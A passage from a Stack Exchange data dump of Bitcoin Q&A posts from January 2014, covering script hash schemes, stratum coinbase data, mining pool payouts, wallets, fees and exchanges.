(&lt;code&gt;OP_HASH160&lt;/code&gt; or &lt;code&gt;OP_HASH256&lt;/code&gt;, whichever you prefer) before duplication, so now you can compare the provided data to match with one of two hashes instead of values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a bit better since the data is not there in plain sight. You would have to brute-force to find one of &lt;code&gt;WalletN_hash&lt;/code&gt;. The problem is as soon as you spend it, the &lt;code&gt;WalletN_value&lt;/code&gt; becomes public in the spending transaction, so &lt;code&gt;WalletN_hash&lt;/code&gt; can't be used in a transaction again! It would be one-use only. If you published several transactions with the same &lt;code&gt;WalletN_hash&lt;/code&gt;, you'd have to spend all outputs at the same time or else the unspent ones might be hijacked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bear in mind the scheme is still secure because there are signatures involved. If the &lt;code&gt;scriptPubKey&lt;/code&gt; lacked the standard signatue verification it would just be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH256 OP_DUP Wallet1_hash OP_EQUAL OP_SWAP Wallet2_hash OP_EQUAL OP_BOOLOR OP_VERIFY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any miner could listen for this type of transactions and, as soon as anyone tried to spend one with &lt;code&gt;scriptSig = [WalletN_value]&lt;/code&gt;, the transaction could be modified &lt;strong&gt;(even the outputs!)&lt;/strong&gt; instead of relaying it since the transaction is not signed at all, so the miner could redeem the outputs himself.&lt;/p&gt;&#xA;" OwnerUserId="11761" LastEditorUserId="11761" LastEditDate="2014-01-15T03:26:01.557" LastActivityDate="2014-01-15T03:26:01.557" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20545" PostTypeId="2" ParentId="20493" CreationDate="2014-01-14T10:20:59.820" Score="1" Body="&lt;p&gt;Using a general purpose machine that's not online 24/7, you'll be much happier using the Multibit client. It does not download the full blockchain.&lt;/p&gt;&#xA;" OwnerUserId="12188" LastActivityDate="2014-01-14T10:20:59.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20546" PostTypeId="2" ParentId="19683" CreationDate="2014-01-14T10:37:55.703" Score="0" Body="&lt;p&gt;Just use the Multibit client. It doesn't download the blockchain, and is very fast.&lt;/p&gt;&#xA;" OwnerUserId="12188" LastActivityDate="2014-01-14T10:37:55.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20547" PostTypeId="2" ParentId="20533" CreationDate="2014-01-14T10:56:26.033" Score="1" Body="&lt;p&gt;Yes, it is possible. The coinbase outputs are embedded in &lt;code&gt;coinbase2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. for a regular 1-output &lt;code&gt;pay-to-pubkey-hash&lt;/code&gt; coinbase tx it contains the pubkey hash which can redeem the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the &lt;a href=&quot;https://mining.bitcoin.cz/stratum-mining&quot; rel=&quot;nofollow&quot;&gt;stratum official documentation&lt;/a&gt;. It has a real-world example which generated &lt;a href=&quot;https://blockexplorer.com/testnet/rawblock/000000002076870fe65a2b6eeed84fa892c0db924f1482243a6247d931dcab32&quot; rel=&quot;nofollow&quot;&gt;raw block 000000002076870fe65a2b6eeed84fa892c0db924f1482243a6247d931dcab32&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The raw transaction output[0] looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;value&quot;:&quot;50.00000000&quot;,&#xA;  &quot;scriptPubKey&quot;:&quot;OP_DUP OP_HASH160 d23fcdf86f7e756a64a7a9688ef9903327048ed9 OP_EQUALVERIFY OP_CHECKSIG&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, in hex, &lt;code&gt;00f2052a010000001976a914d23fcdf86f7e756a64a7a9688ef9903327048ed988ac&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miner gets this parameters from stratum:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;params&quot;: [&#xA;  /* job id    */ &quot;bf&quot;,&#xA;  /* prevhash  */ &quot;4d16b6f85af6e2198f44ae2a6de67f78487ae5611b77c6c0440b921e00000000&quot;,&#xA;  /* coinbase1 */ &quot;01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff20020862062f503253482f04b8864e5008&quot;,&#xA;  /* coinbase2 */ &quot;072f736c7573682f000000000100f2052a010000001976a914d23fcdf86f7e756a64a7a9688ef9903327048ed988ac00000000&quot;,&#xA;  /* omitted, not relevant */&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice &lt;code&gt;coinbase2&lt;/code&gt; contains the hex of the block output, including &lt;code&gt;d23fcdf86f7e756a64a7a9688ef9903327048ed9&lt;/code&gt;, i.e. the pubkey hash (which you can derive the address from).&lt;/p&gt;&#xA;" OwnerUserId="11761" LastEditorUserId="11761" LastEditDate="2014-01-14T11:10:13.093" LastActivityDate="2014-01-14T11:10:13.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20548" PostTypeId="1" AcceptedAnswerId="20550" CreationDate="2014-01-14T11:14:43.377" Score="0" ViewCount="838" Body="&lt;p&gt;Recently I managed to get my hands on 10 servers with 32 cores each and 128GB ram each. I realised that in 10 hours of working at 100% I had mined exactly &lt;strong&gt;0 litecoins&lt;/strong&gt; using a p2pool. I think it's called mint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was delivering an average of 1,6 MH/s to the pool. I was in the TOP 3 active miners of the pool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My mining layout is: One CPUminer (minerd) per server with one thread per core all pointing to the same pool with the same username (litecoin wallet address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any clue why this is happening? Is it a technical problem or was I just purely and simply tricked?&lt;/p&gt;&#xA;" OwnerUserId="12190" LastEditorUserId="5406" LastEditDate="2016-04-10T12:15:27.400" LastActivityDate="2016-04-10T12:15:27.400" Title="0 Payout at litecoin pool with a processing power of 1.6 Mh/s. Why?" Tags="|mining-pools|litecoin|mining-profitability|pool-payout-methods|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20550" PostTypeId="2" ParentId="20548" CreationDate="2014-01-14T12:46:40.413" Score="0" Body="&lt;p&gt;According to the crypto-coins' profitability calculator &lt;a href=&quot;http://www.coinwarz.com/&quot; rel=&quot;nofollow&quot;&gt;coinwarz&lt;/a&gt;, with that much hash power you could have a gross daily earning of about US $14 should you mine Dogecoins and not Litecoins. Mining Litecoins instead, theoretically you could earn about US $11 per day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the times it's much more profitable to mine an alt-coin than the grand-daddies of them all (i.e. Bitecoin and Litecoin). The problem is, of course, you need to have wallets for those alt-coins and open an account at an exchange that accepts them to get bitcoins or dollars for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many blocks per day is your pool finding? You won't be paid at all until/unless your pool finds a block.  That statistic will give you an idea of how often you'd be paid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &quot;normal&quot; pools the whole blocks' reward goes to the pool administrator who then pays miners their share -according to the hash power they've provided- minus his fee, so there's a bag of coins (coming from fees) whence to pay you should the pool find no blocks in some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since p2pools lack (by design) a central administrator, you're forced to wait until it finds a block. The pro is you don't have to trust an admin. to be fair and honest, only source code you can audit/inspect should you know how to.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-01-14T12:46:40.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20552" PostTypeId="1" CreationDate="2014-01-14T13:35:42.577" Score="1" ViewCount="2102" Body="&lt;p&gt;I try use --net 'dogecoin',but display errors:invalid choice: 'dogecoin',How should I do to make p2pool join dogecoin Network&lt;/p&gt;&#xA;" OwnerUserId="12202" LastActivityDate="2023-01-22T12:17:12.807" Title="how to setup p2pool for dogecoin?" Tags="|p2pool|dogecoin|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20553" PostTypeId="1" CreationDate="2014-01-14T13:36:53.207" Score="1" ViewCount="960" Body="&lt;p&gt;My bitcoind wallet does not update the balance, I tried with two different wallet. It shows the correct balance on BlockChain.info. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the bitcoind -rescan solution given  in :&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7276/transaction-confirmed-by-network-but-never-showed-up-in-bitcoin-qt&quot;&gt;Transaction confirmed by network but never showed up in bitcoin-qt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the balance still shows as 0. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Machine : Ubuntu Linux&#xA;Bitcoin Version : 80600&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="10736" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-01-14T13:36:53.207" Title="Bitcoin wallet not updating balance" Tags="|wallet|bitcoind|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20554" PostTypeId="2" ParentId="20492" CreationDate="2014-01-14T14:43:33.067" Score="1" Body="&lt;p&gt;Raw blocks are available at &lt;code&gt;datafolder/block/blkXXXXX.dat&lt;/code&gt; in &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#block&quot; rel=&quot;nofollow&quot;&gt;serialized in network format&lt;/a&gt; or can be downloaded from the p2p network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the format, each block has a list of transactions which in turn has a list of outputs. If you sum each output value, you get the &lt;strong&gt;output total&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;estimated transaction volume&lt;/strong&gt; is calculated like the output total, but not counting the change outputs. There's no reliable way to know which output is being sent and which one is change, so you'll have to guess, take the mean or something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of these transactions must be coinbase. A coinbase transaction has a single input with &lt;code&gt;txid = 0000000000000000000000000000000000000000000000000000000000000000&lt;/code&gt;. If you sum all input values (not including coinbase) and subtract all output values (again, not including coinbase) you get the &lt;strong&gt;total fees&lt;/strong&gt;. Inputs don't have a &lt;code&gt;value&lt;/code&gt;, so you have to find the transaction they're referring to (&lt;code&gt;txid&lt;/code&gt;) in a previous block and the referenced output in that transaction (&lt;code&gt;vout&lt;/code&gt;). There's a cheap (but not reliable) way to calculate the &lt;strong&gt;total fees&lt;/strong&gt;. Just sum the coinbase outputs and subtract the block reward. The value is only accurate if the miner claimed the whole reward and fees (which is not enforced anywhere).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have noticed the &lt;strong&gt;relayed by&lt;/strong&gt; is nowhere to be found. This is different for everyone, and is only the client which sent you the block for the first time. To know who relayed the block to you, you have to set a client listening for block broadcasts and just record whoever did broadcast the block to you.&lt;/p&gt;&#xA;" OwnerUserId="11761" LastActivityDate="2014-01-14T14:43:33.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20555" PostTypeId="1" AcceptedAnswerId="20556" CreationDate="2014-01-14T15:01:43.393" Score="2" ViewCount="2256" Body="&lt;p&gt;At the moment, I use localbitcoins.com to find people to buy bitcoins from who have bank accounts so I don't have to fund an online wallet before I can buy.  In order to sell bitcoins, yes the online wallet needs to be funded with bitcoins and that is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does such a service exist for litecoins too?  So I can find people in my chosen country to buy from, so I can transfer money to their bank account without having to find an online wallet first with money.  I would understand that if I wanted to sell litecoins, the online wallet would need litecoin funds available first.&lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="5406" LastEditDate="2014-01-15T00:23:56.920" LastActivityDate="2018-08-18T22:16:38.350" Title="Is there a service like localbitcoins.com for Litecoin?" Tags="|exchanges|litecoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20556" PostTypeId="2" ParentId="20555" CreationDate="2014-01-14T15:57:31.420" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://www.litecoinlocal.net/&quot; rel=&quot;nofollow&quot;&gt;https://www.litecoinlocal.net/&lt;/a&gt; is the site you are looking for&lt;/p&gt;&#xA;" OwnerUserId="10574" LastEditorUserId="14930" LastEditDate="2014-11-06T18:28:13.700" LastActivityDate="2014-11-06T18:28:13.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20557" PostTypeId="1" CreationDate="2014-01-14T16:10:22.780" Score="2" ViewCount="1176" Body="&lt;p&gt;I had submitted my personal document for verification over 30 days; however, my account still pending for verification, what I can do to withdraw my bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="12213" LastEditorUserId="132" LastEditDate="2014-01-15T13:06:19.977" LastActivityDate="2020-11-14T14:07:34.253" Title="Mtgox account verification pending, how to withdraw my bitcoins?" Tags="|mtgox|withdrawal|verification|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20558" PostTypeId="1" CreationDate="2014-01-14T16:21:22.193" Score="1" ViewCount="507" Body="&lt;p&gt;It is said in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki&lt;/a&gt; that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The accounts code does not scale up to thousands of accounts with tens of thousands of transactions, because by-account (and by-account-by-time) indices are not implemented.&#xA;  So many operations (like computing an account balance) require accessing every wallet transaction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so my question is, what solution would be acceptable to implement a program who would be in charge of thousands of account (like an e-wallet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first guess would be to run multiple bitcoind instances, in order to keep the account by daemon ratio under a certain limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other idea ?&lt;/p&gt;&#xA;" OwnerUserId="12211" LastActivityDate="2014-02-22T17:43:36.230" Title="Howto scale thousands of bitcoin accounts properly with bitcoind deamon?" Tags="|bitcoind|json-rpc|e-wallet|bitcoin-core-accounts|scalability|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20560" PostTypeId="2" ParentId="9085" CreationDate="2014-01-14T17:54:02.343" Score="0" Body="&lt;p&gt;We can use Clearcoin type mechanisms for this . &#xA;ClearCoin is an escrow-type of service that allows safer payment by securely holding coins in escrow until both buyer and seller are satisfied.&#xA;Sometimes there is a risk that a buyer will be unhappy with a purchase but no recourse is possible because Bitcoin transactions are not reversible. An escrow allows the buyer to send payment to an intermediary and release the funds only at such time the buyer is satisfied with the seller's level of service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details about Clearcoin can be found at &lt;a href=&quot;https://en.bitcoin.it/wiki/ClearCoin&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; link.&lt;/p&gt;&#xA;" OwnerUserId="12040" LastActivityDate="2014-01-14T17:54:02.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20561" PostTypeId="2" ParentId="20558" CreationDate="2014-01-14T18:00:43.690" Score="1" Body="&lt;p&gt;Several options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Don't use bitcoind&lt;/li&gt;&#xA;&lt;li&gt;Use bitcoind to interface the p2p network but ignore accounts and other abstractions&lt;/li&gt;&#xA;&lt;li&gt;Hack bitcoind to use by-account indices&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11761" LastActivityDate="2014-01-14T18:00:43.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20563" PostTypeId="2" ParentId="16673" CreationDate="2014-01-14T18:39:02.893" Score="0" Body="&lt;p&gt;I cannot believe this has not been suggested before, but besides cryptothrift which has already been mentioned, CoinGig is a great eBay-like Bitcoin marketplace like BitMit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.coingig.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.coingig.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12221" LastActivityDate="2014-01-14T18:39:02.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20564" PostTypeId="1" CreationDate="2014-01-14T18:51:26.803" Score="-1" ViewCount="754" Body="&lt;p&gt;I have mined some coins with a pool and would like to sell them on an exchange and get real money for them. I'm in Canada if that makes a difference. Do I just pick one and deposit from my wallet? All answers appreciated.&lt;/p&gt;&#xA;" OwnerUserId="12222" LastActivityDate="2014-01-15T15:11:37.973" Title="How to move mined coins to an exchange" Tags="|wallet|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20565" PostTypeId="1" AcceptedAnswerId="20569" CreationDate="2014-01-14T18:53:14.977" Score="26" ViewCount="119012" Body="&lt;p&gt;I am curious to know which wallets belong to Satoshi Nakamoto? I heard that the BTC in them were never moved. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2014-06-07T07:45:36.500" LastActivityDate="2017-10-21T09:39:32.550" Title="Which wallets belong to Satoshi Nakamoto?" Tags="|satoshi-nakamoto|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20566" PostTypeId="2" ParentId="20509" CreationDate="2014-01-14T18:59:26.150" Score="2" Body="&lt;p&gt;The fee is based on the transaction size, not on the amount of money being sent.  Making a transaction works by spending money you've previously received; the Bitcoin client looks for unspent incoming transactions and links those together to form a new transaction that uses up the money from those old transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this number of input transactions is particularly large (for instance, if you've received a lot of very small amounts of money), this means that the transaction size becomes larger, making the required fee larger as well, since it is a bigger burden on the network.  I believe some Bitcoin clients do have a tendency to try and use up small transactions first, which further contributes to creating larger transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the transaction you're trying to make is particularly small, the fee may seem disproportionally large.  This is why Bitcoin is often not considered to be great for microtransactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the Bitcoin wiki, the fee used in the reference implementation (as of 0.8.2) is 0.0001 BTC per thousand bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the specifics of calculating the fee depends on the client, and this is configurable in any decent client.  I've gotten away in the past with using a fee of 0.&lt;/p&gt;&#xA;" OwnerUserId="12221" LastActivityDate="2014-01-14T18:59:26.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20567" PostTypeId="2" ParentId="20564" CreationDate="2014-01-14T18:59:48.987" Score="0" Body="&lt;p&gt;Download the qt of the coin you mined install on your computer and synchronize with the network. On the pool place a withdraw request and get the coins in the wallet you just set up from the wallet transfer funds to the exchange. Transferring funds direct from pool to exchange is not suggested as some exchanges asks you not to do so.&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-14T18:59:48.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20568" PostTypeId="2" ParentId="20517" CreationDate="2014-01-14T19:08:39.250" Score="1" Body="&lt;p&gt;There are many parameters to tweak in cgminer.  Its documentation explains precisely how to tune it, but for starters, you will probably just want to play with the intensity settings and perhaps more importantly, the --thread-concurrency flag.  Getting your thread concurrency right is crucial in getting a good mining speed.  You might start with a value of 8000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can play with more advanced flags, such as the ones that relate to overclocking.&lt;/p&gt;&#xA;" OwnerUserId="12221" LastActivityDate="2014-01-14T19:08:39.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20569" PostTypeId="2" ParentId="20565" CreationDate="2014-01-14T19:14:40.603" Score="14" Body="&lt;p&gt;No real way to tell that Satoshi indeed owns wallets (unless he sends a signed message).&#xA;You can assume which blocks he mined and therefore his wallets like so.&#xA;&lt;a href=&quot;http://bitslog.wordpress.com/2013/04/17/the-well-deserved-fortune-of-satoshi-nakamoto/&quot; rel=&quot;noreferrer&quot;&gt;http://bitslog.wordpress.com/2013/04/17/the-well-deserved-fortune-of-satoshi-nakamoto/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-14T19:14:40.603" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20570" PostTypeId="2" ParentId="20163" CreationDate="2014-01-14T19:15:04.243" Score="1" Body="&lt;p&gt;This depends entirely on the program used to send the bitcoins.  It may use pregenerated change addresses specified on the paper wallet, or it may send it back to an address of the paper wallet itself, or generate a new address.  If the latter, you have to be sure to also print out the private key of this new change address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the most likely case, the software will create a new change address or use a change address not associated with the paper wallet, and you will have to print out a new paper wallet for the change address.&lt;/p&gt;&#xA;" OwnerUserId="12221" LastEditorUserId="12221" LastEditDate="2014-01-14T19:21:36.253" LastActivityDate="2014-01-14T19:21:36.253" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20571" PostTypeId="1" CreationDate="2014-01-14T19:24:09.760" Score="2" ViewCount="2793" Body="&lt;p&gt;I've googled a lot and also read threads here but I'm still struggling.&#xA;Background:&#xA;I'm a eager but novice Linux user&#xA;I've an Ubuntu 12.04 webserver sitting pretty and is not doing much.&#xA;I would like to use the free processing power to mine Bitcoins - makes cents (sense).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, I have Ubuntu 12.04. I have installed bitcoind and made a bitcoind.conf file as per &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/13795/ubuntu-linux-how-do-i-start-bitcoind-as-a-service-to-run-automatically&quot;&gt;Ubuntu Linux -- How do I start bitcoind as a service to run automatically?&lt;/a&gt;&#xA;(Basically, copy and paste)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've installed bfgminer and I've register an account with Eclipse Mining Consortium (eclipsemc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I've read the bitcoin needs to download a large data file (+- 6Gb). &#xA;I can't find any log files to tail.  How do I know bitcoind is&#xA;working properly? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ps aux | grep bitcoind&#xA;1000     30080  0.0  0.0   9364   368 pts/1    D+   21:21   0:00 grep --color=auto bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When I run bfgminer (bfgminer -o &lt;a href=&quot;http://eu.eclipsemc.com:8337&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://eu.eclipsemc.com:8337&lt;/a&gt; -u [MyUserName_worker] -p [password] -L bfgminer.log), I have to press &quot;M&quot;, then &quot;+&quot; and enter &quot;auto&quot; before it will pick CPU 7 as the device.  How can I ensure that it will pick CPU 7 as the default device? How can I run this as a background process?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;I still need a bitcoin wallet?  I'm using Armory on my Windows box, what is a compatible one for Ubuntu webserver?&lt;/li&gt;&#xA;&lt;li&gt;How do I ensure that bitcoind and bfgminer doesn't kill my server?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank you very much! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;André&lt;/p&gt;&#xA;" OwnerUserId="12220" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-03-16T19:39:39.023" Title="Bitcoin mining on headless Ubuntu 12.04 server" Tags="|bitcoind|ubuntu|bfgminer|" AnswerCount="1" CommentCount="4" ClosedDate="2015-11-07T18:26:43.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="20572" PostTypeId="1" CreationDate="2014-01-14T19:36:51.030" Score="2" ViewCount="583" Body="&lt;p&gt;If I understand correctly a private 256-bit integer determines the curvature of an EC curve corresponding to your wallet and that 256-bit integer can be consider the &quot;private key&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now how many &quot;public address(es)&quot; are there corresponding to that particular wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there just one public address or an infinity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a related question related to change: in typical bitcoin clients, when a change public address (I take it a change address is public, right?) is given, is that change address corresponding to the same wallet that the one where the bitcoin came from?&lt;/p&gt;&#xA;" OwnerUserId="12149" LastActivityDate="2014-01-14T19:46:25.007" Title="Are there an infinity of public addresses for a wallet?" Tags="|wallet|address|change|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20573" PostTypeId="2" ParentId="20572" CreationDate="2014-01-14T19:46:25.007" Score="2" Body="&lt;p&gt;A wallet contains a collection of keys, not just a single one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every private key has exactly one associated public key. Addresses are shortened forms of public keys (they're encoded hashes of the public key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change addresses are indeed public. Like every other address, the key for it is independent from the other keys in your wallet. Note that some clients send change back to one of the addresses the inputs were previously assigned to, in which case it's obviously the same key that is reused.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-01-14T19:46:25.007" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20574" PostTypeId="1" AcceptedAnswerId="24006" CreationDate="2014-01-14T20:18:57.463" Score="1" ViewCount="358" Body="&lt;p&gt;The only (active) project I know that implements a full SPV client is BitcoinJ, which is written in Java. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does somebody know if there are any SPV implementations in other languages (like C) too?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="24573" LastEditDate="2016-10-27T17:35:50.910" LastActivityDate="2016-10-27T17:35:50.910" Title="Does there exist a SPV-client in another language than Java?" Tags="|blockchain|development|bitcoinj|library|spv|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20578" PostTypeId="2" ParentId="18798" CreationDate="2014-01-14T21:37:01.240" Score="0" Body="&lt;p&gt;Withdrawing fiat from exchanges take longer time because in most cases it is manually processed. If the transaction is dependent on bank then it take a couple of manual transactions before it reaches you.&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-14T21:37:01.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20579" PostTypeId="1" AcceptedAnswerId="20582" CreationDate="2014-01-14T22:07:43.447" Score="5" ViewCount="591" Body="&lt;p&gt;Nextcoin seems to convert 256-bit Curve25519 256-bit public keys into &quot;account numbers&quot; that have only arabic numbers and seem to only have a length of 20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is that done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Examples&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;a href=&quot;https://nextcoin.org/index.php?topic=1411.0&quot;&gt;Nextcoin forum&lt;/a&gt;, users leave their account numbers.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2014-01-14T22:15:54.400" LastActivityDate="2014-04-02T04:48:34.653" Title="How does Nextcoin convert 256-bit Curve25519 public keys into ~20 arabic numerals?" Tags="|address|alternatives|public-key|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20580" PostTypeId="2" ParentId="18925" CreationDate="2014-01-14T22:21:47.727" Score="1" Body="&lt;p&gt;It varies from exchange to exchange because people running exchange are different with different thinking. Me and my brother runs a website where we sell coins in exchange of USD(we are not a exchange anyway just small dealer) we do charge some fees but the difference here is my brother will charge a customer upto 20% higher than actual rate on the other hand(u have different fingers) I charge only that amount which is reasonable.&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-14T22:21:47.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20581" PostTypeId="2" ParentId="18540" CreationDate="2014-01-14T22:42:51.353" Score="6" Body="&lt;p&gt;Bitcoin exchange is not a giant, what all you need is running daemons of the coins in the backend on your server, a front end PHP website which deals with the transactions taking place on the website. You also don't need a bank account, you can accept USD with so many online payment gateways which do not connect with banks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what actually happens is you run daemons in the back end they keep sync with the network you use json script to send commands to the daemons and get the response back. When a user comes to your website and he chose to deposit bitcoin he navigates to that page and click on get deposit address this request is sent to daemon and daemon response with a address where he should send bitcoins, once he sent bitcoin you need a cron job to communicate with the daemon to check how many transactions have been confirmed.  Insert confirmed transactions into database and let the user trade with database only. When he place a withdraw request daemon again comes into picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short a exchange is : I came to your casino paid you a $ and u gave me some chips these chips have no value anywhere else but in your casino I kept playing(I can play until I have chips with me) and winning. When I am done with playing and made good amount I came back to you gave you back your chips and took real $&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is how an exchange works  &lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-14T22:42:51.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
